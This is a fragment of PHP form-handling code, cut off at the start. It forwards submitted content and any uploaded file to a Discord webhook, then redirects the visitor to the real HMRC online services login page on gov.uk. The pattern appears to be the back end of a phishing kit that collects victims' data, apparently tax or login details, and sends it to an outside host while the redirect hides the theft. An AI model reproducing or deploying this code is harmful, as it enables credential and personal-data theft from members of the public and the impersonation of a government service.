$content ]; // If file is uploaded, attach it if (isset($_FILES['fileUpload']) && $_FILES['fileUpload']['error'] === UPLOAD_ERR_OK) { $postFields["file"] = new CURLFile( $_FILES['fileUpload']['tmp_name'], $_FILES['fileUpload']['type'], $_FILES['fileUpload']['name'] ); } // Send to Discord $ch = curl_init($discordHook); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Redirect user to thank you page header("Location: https://www.gov.uk/log-in-register-hmrc-online-services"); exit; }